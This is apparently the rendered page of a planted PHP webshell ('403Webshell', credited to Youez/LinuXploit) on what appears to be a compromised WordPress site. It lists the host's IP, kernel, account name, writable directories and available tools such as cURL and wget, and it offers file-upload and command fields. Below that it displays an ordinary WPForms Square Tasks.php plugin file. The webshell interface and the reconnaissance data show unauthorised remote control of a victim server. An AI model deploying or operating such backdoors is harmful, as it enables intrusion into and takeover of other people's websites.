403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/revivere/www/wp-content/plugins/wpforms-lite/src/Integrations/Square/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/revivere/www/wp-content/plugins/wpforms-lite/src/Integrations/Square/Tasks.php
<?php

namespace WPForms\Integrations\Square;

use WPForms\Tasks\Actions\SquareSubscriptionTransactionIDTask;

/**
 * Register tasks.
 *
 * @since 1.9.5
 */
class Tasks {

	/**
	 * Initialize.
	 *
	 * @since 1.9.5
	 */
	public function init() {

		$this->hooks();
	}

	/**
	 * Frontend hooks.
	 *
	 * @since 1.9.5
	 */
	private function hooks() {

		add_filter( 'wpforms_tasks_get_tasks', [ $this, 'register' ] );
	}

	/**
	 * Add class to registered tasks array.
	 *
	 * @since 1.9.5
	 *
	 * @param array $tasks Array of tasks.
	 *
	 * @return array
	 */
	public function register( $tasks ): array {

		$tasks = (array) $tasks;

		$tasks[] = SquareSubscriptionTransactionIDTask::class;

		return $tasks;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit